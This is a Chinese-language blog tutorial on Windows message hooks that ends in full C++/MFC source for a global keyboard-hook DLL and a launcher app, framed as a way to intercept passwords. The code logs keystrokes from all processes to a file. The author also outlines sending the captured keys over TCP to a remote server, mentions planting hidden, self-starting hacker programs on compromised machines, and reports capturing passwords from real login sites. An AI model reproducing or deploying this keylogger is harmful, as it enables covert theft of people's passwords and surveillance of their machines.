钩子原理及实例:利用鼠标键盘钩子截获密码

钩子原理

  钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。Windows系统是建立在事件驱动的机制上的,也就是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。

  Windows 消息提供了应用程序与应用程序之间、应用程序与Windows 系统之间进行通讯的手段。应用程序要实现的功能由消息来触发,并靠对消息的响应和处理来完成。Windows 系统中有两种消息队列,一种是系统消息队列,另一种是应用程序消息队列。计算机的所有输入设备由 Windows 监控,当一个事件发生时,Windows 先将输入的消息放入系统消息队列中,然后再将输入的消息拷贝到相应的应用程序队列中,应用程序中的消息循环从它的消息队列中检索每一个消息并发送给相应的窗口函数中。一个事件的发生,到达处理它的窗口函数必须经历上述过程。如下图;

钩子原理及实例:实现键盘钩子截获密码-编程知识网

  钩子实际上是一个处理消息的程序段,通过系统调用(安装钩子),把它挂入系统(添加到钩子链表)。每当特定的消息发出,在没有到达目的窗口前,钩子程序就可以先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息[传递到钩子链表中的下一个钩子或应用程序目的窗口],还可以强制结束消息的传递。对每种类型的钩子由系统来维护一个钩子链表,其特点是最近安装的钩子放在链的最开始,而最先安装的钩子放在最后,也就是后加入的钩子先获得控制权,先获得应用程序消息。消息在链表上传递,链表上的每一个钩子都可以修改消息、把消息传给下一个钩子,以及终止消息的传递。

钩子分类

按功能分类:
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET:使你可以监视发送到窗口过程的消息
3、WH_DEBUG    调试钩子
4、WH_FOREGROUNDIDLE   当当应用程序的前台线程大概要变成空闲状态时,系统就会调用      WH_FOREGROUNDIDL
5、WH_JOURNALRECORD   监视和记录输入事件
6、WH_JOURNALPLAYBACK   回放用WH_JOURNALRECORD记录事件
7、WH_KEYBOARD    键盘钩子
9、WH_KEYBOARD_LL   低层键盘钩子
10、WH_MOUSE    鼠标钩子
11、WH_MOUSE_LL    底层鼠标钩子
12、WH_SHELL    外壳钩子
13、WH_MSGFILTER 和WH_SYSMSGFILTER  使我们可以监视菜单,滚动条,消息框等

常见分类:

全局钩子和进程钩子

  由安装钩子的函数SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);第四个参数决定。第四个参数指定监视的线程。如果指定确定的线程,即为线程专用钩子;如果指定为空,即为全局钩子。线程钩子一般在当前线程或者当前线程派生的线程内,而系统钩子必须放在独立的动态链接库中,实现起来要麻烦一些。


安装、卸载钩子的相关函数

安装钩子:

实现Win32的系统钩子,必须调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,这个函数的原型是
 HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORDdwThreadId )
 第一个参数:idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。
 第二个参数:Lpfn是钩子函数的地址。
 第三个参数:HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中)
 第四个参数:dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。其中,全局钩子函数必须包含在DLL(动态链接库)中,而线程专用钩子还可以包含在可执行文件中。得到控制权的钩子函数在完成对消息的处理后,如果想要该消息继续传递,那么它必须调用另外一个SDK中的API函数CallNextHookEx()来传递它。钩子函数也可以通过直接返回TRUE来丢弃该消息,并阻止该消息的传递。
 执行SetWindowsHookEx(),会返回所安装的钩子句柄。

卸载钩子

   调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子,其参数hhk就是执行SetWindowsHookEx()后返回的所安装的钩子的句柄。

钩子[回调]函数

  钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,比如监听键盘的事件,系统会调用钩子函数进行处理。一般为下:
  LRESULT WINAPI MyHookProc(int nCode,WPARAM wParam,LPARAM lParam)
  参数wParam和 lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键值等。nCode包含有关消息本身的信息,比如是否从消息队列中移出。


刚才说过:全局钩子函数必须包含在DLL(动态链接库)中,本例通过演示一个全局钩子,实现所有进程输入框的输入按键获取。先一起了解下Win32 DLL。


Win32 DLL的特点

   Win32 DLL与 Win16 DLL有很大的区别,这主要是由操作系统的设计思想决定的。一方面,在Win16 DLL中程序入口点函数和出口点函数(LibMain和WEP)是分别实现的;而在Win32 DLL中却由同一函数DLLMain来实现。无论何时,当一个进程或线程载入和卸载DLL时,都要调用该函数,它的原型是
   BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);

  其中,第一个参数表示DLL的实例句柄;第三个参数系统保留;这里主要介绍一下第二个参数,它有四个可能的值:DLL_PROCESS_ATTACH(进程载入),DLL_THREAD_ATTACH(线程载入),DLL_THREAD_DETACH(线程卸载),DLL_PROCESS_DETACH(进程卸载),在DLLMain函数中可以对传递进来的这个参数的值进行判别,并根据不同的参数值对DLL进行必要的初始化或清理工作。举个例子来说,当有一个进程载入一个DLL时,系统分派给DLL的第二个参数为DLL_PROCESS_ATTACH,这时,你可以根据这个参数初始化特定的数据。另一方面,在Win16环境下,所有应用程序都在同一地址空间;而在Win32环境下,所有应用程序都有自己的私有空间,每个进程的空间都是相互独立的,这减少了应用程序间的相互影响,但同时也增加了编程的难度。大家知道,在Win16环境中,DLL的全局数据对每个载入它的进程来说都是相同的;而在Win32环境中,情况却发生了变化,当进程在载入DLL时,系统自动把DLL地址映射到该进程的私有空间,而且也复制该DLL的全局数据的一份拷贝到该进程空间,也就是说每个进程所拥有的相同的DLL的全局数据其值却并不一定是相同的。因此,在Win32环境下要想在多个进程中共享数据,就必须进行必要的设置。亦即把这些需要共享的数据分离出来,放置在一个独立的数据段里,并把该段的属性设置为共享。


VC6
中MFC DLL的分类及特点
   在VC6中有三种形式的MFC DLL(在该DLL中可以使用和继承已有的MFC类)可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)和Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。第一种DLL的特点是,在编译时把使用的MFC代码加入到DLL中,因此,在使用该程序时不需要其他MFC动态链接类库的存在,但占用磁盘空间比较大;第二种DLL的特点是,在运行时,动态链接到MFC类库,因此减少了空间的占用,但是在运行时却依赖于MFC动态链接类库;这两种DLL既可以被MFC程序使用也可以被Win32程序使用。第三种DLL的特点类似于第二种,做为MFC类库的扩展,只能被MFC程序使用。

实例

  下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码,实现所有进程输入框的输入按键获取。由于全局钩子回调函数必须包含在动态链接库中,所以本例由两个程序体来实现。第一个建立一个DDL动态链接库程序,实现重要函数的封装,第二个MFC程序提供界面,按钮安装和卸载钩子。第一个程序封装的重要函数,第二个界面程序会用到。

1.建立DDL动态链接库程序。最后编译运行会得到KeyboardHook.dll


     (1)
选择MFC AppWizard(DLL)创建项目Mousehook;

     (2)选择MFC Extension DLL(共享MFC拷贝)类型;

     (3)由于VC6没有现成的钩子类,所以要在项目目录中创建KeyboardHook.h文件,在其中建立钩子类:
   class AFX_EXT_CLASS CKeyboardHook : public CObject       /*KeyboardHook.h
文件*/
   {

   public:
      CKeyboardHook();//钩子类的构造函数

      virtual ~CKeyboardHook();//钩子类的析构函数

   public:       //此处都是函数的原型声明
      BOOL StartHook(); //
安装钩子函数

      BOOL StopHook();//卸载钩子函数 
   };

     (4)在KeyboardHook.cpp文件的顶部加入#include “KeyboardHook.h”语句;

     (5)在KeyboardHook.cpp文件的顶部加入全局共享数据变量:
        #pragma data_seg(“mydata”)

        HHOOK glhHook=NULL;         //安装的鼠标勾子句柄 
      HINSTANCE glhInstance=NULL; //DLL
实例句柄
        #pragma data_seg()

     (6)在DEF文件中定义段属性:
        SECTIONS

        mydata READ WRITE SHARED

     (7)在主文件KeyboardHook.cpp的DllMain函数中加入保存DLL实例句柄的语句:
      glhInstance=hInstance;//
插入保存DLL实例句柄

     (8)键盘钩子回调函数的实现:
  //
键盘钩子回调函数
  LRESULT  CALLBACK  KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)

  {

      char ch=0;
      FILE *fl;
      if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
      {

            if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
            {

                  fl=fopen(“key.txt”,”a+”);    //输出到key.txt文件
                  if (wParam==VK_RETURN)

                  {

                        ch=”;
                  }
                  else
                  {

                        BYTE ks[256];
                        GetKeyboardState(ks);
                        WORD w;
                        UINT scan=0;
                        ToAscii(wParam,scan,ks,&w,0);
                        //ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
                        ch =char(w); 

                  }
                  fwrite(&ch, sizeof(char), 1, fl);//把按键字符 记录到文件

                                //Todo:其他处理操作
            }

            fclose(fl);
      }
      return CallNextHookEx( glhHook, nCode, wParam, lParam ); 
}

(9)类CKeyboardHook的成员函数的具体实现:
CKeyboardHook::CKeyboardHook()

{

}

CKeyboardHook::~CKeyboardHook()
{

      if(glhHook)
            UnhookWindowsHookEx(glhHook);
}

//安装钩子并设定接收显示窗口句柄
BOOL CKeyboardHook::StartHook()


      BOOL bResult=FALSE;
      glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
      if(glhHook!=NULL)
      bResult=TRUE;
      return bResult; 
}

//卸载钩子
BOOL CKeyboardHook::StopHook() 

{

      BOOL bResult=FALSE;
      if(glhHook)
      {

            bResult= UnhookWindowsHookEx(glhHook);
            if(bResult)
                  glhHook=NULL;
      }
      return bResult;
}

(10)编译项目,在目录中找到KeyboardHook.dll和KeyboardHook.h(第二个界面程序会用到)。

2.创建第二个可执行程序

(1)用MFC的AppWizard(EXE)创建项目KeyHook;

(2)选择“基于对话应用”并按下“完成”键;

(3)在KeyHookDlg.h中加入包含语句#include “KeyboardHook.h”;KeyboardHook.h是第一个DDL程序得到的。刚才的DLL中的KeyboardHook.lib,和KeyboardHook.h拷贝KeyHook工程所在目录,然后Project->Addto Project–>Files选择这两个文件。

(4)在KeyHookDlg.h中添加私有数据成员:
      CKeyboardHook m_hook;//
加入钩子类作为数据成员

(5)链接DLL库,即把../KeyboardHook.lib加入到项目设置链接标签中;ProgectàSettingàLinking

(6)把OK按钮ID改为ID_HOOK,写实现代码;(ctrl+w打开类向导,给ID_HOOK添加响应处理函数)
void CKeyHookDlg::OnHook()

{

      m_hook.StartHook(); 
}

(7)关闭按钮实现:
void CKeyHookDlg::OnCancel() 

{

      m_hook.StopHook();
      CDialog::OnCancel();
}

(8)编译项目生成可执行文件;

  运行程序,在Debug目录下生成KeyHook.exe程序,按HOOK!按钮,加载钩子后按下键盘上的一些键,可以发现EXE目录下自动生成了一个key.txt文件,该文件记载了你的按键信息。KeyboardHook.dll文件需要复制到KeyHook工程Debug文件夹下。

  这个只实现了简单功能,也是最近在做一个操作系统相关的课程设计,看了其他人的例子,在一台机器上运行程序,安装钩子监听记录本台机器的按键信息。实现这个功能也是进行其他操作的前提。我的课程设计,基础功能就是监听键盘,实现了被监听的“客户端”和服务端;钩子程序在客户端,通过一些方式让钩子安装在要监听的电脑上,只要钩子安装了,那么OK,所谓客户端,实现了socket套接字把那些按键值,并不是记录在文件里,而是发到指定主机的服务端,具体方法实现,就是要在第一个DDL动态链接库工程,再添加初始化网络的函数,即这个客户端必须在安装钩子之前要先用TCP方式连接到“指定的主机服务端”,然后在那个钩子回调函数中替换某些操作,把写入文件的操作,换成用TCP客户端发送那些按键值到服务端,客户端只在监听的键盘事件发生时发送,服务端只循环不停的等待接收显示。这就实现了监听不同的电脑了,不过有个前提,需要网络支持。

  通过一些方式让钩子安装在要监听的电脑上,这个具体有很多种方式,课程设计为方便演示就直接安装在一台充当“被监听者”的机器上;实际中有很多黑客技术和工具,可以实现把一个加壳处理的“黑客程序”安装到肉鸡电脑上,并完全可以实现隐藏进程和开机自起。关于其他方面的内容,包括课设工程,待后期整理。可参见

http://blog.csdn.net/ljheee/article/details/50994878,http://blog.csdn.net/ljheee/article/details/51043646

  运行程序,点击按钮安装钩子,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码。

  经过本人大量测试,目前这个钩子,可以截获几乎所有输入框的内容,包括迅雷登录密码、验证码、*号密码也可以截获并显示,包括一些高校教务处网站学生登录那些都可以。但是,QQ登录不行,肯定是做了安全限制;测试发现,截获客户端的“密码”是乱码,没有对应顺序,即使被控制的客户端一直按下相同的按键,截获得到的也是不同的字母,找不到规律。腾讯游戏登录时,屏幕右下角那个“TP”防护系统,都是老马请的国外的密码学专家做出来的,至于这个QQ登录的安全限制,应该技术更是了得。本人认为可能在QQ启动时,程序内部有内置的钩子,根据钩子的安置原理,可以设置全局钩子,也完全可以做成进程钩子,这个进程内置钩子,在QQ进程启动时安装在“钩子链表”,是后安置的钩子,会先接收到应用程序信息,钩子功能很强大,可以把截获的按键信息,拦截并修改再发送到下一个钩子。(关于QQ这个是本人个人观点)。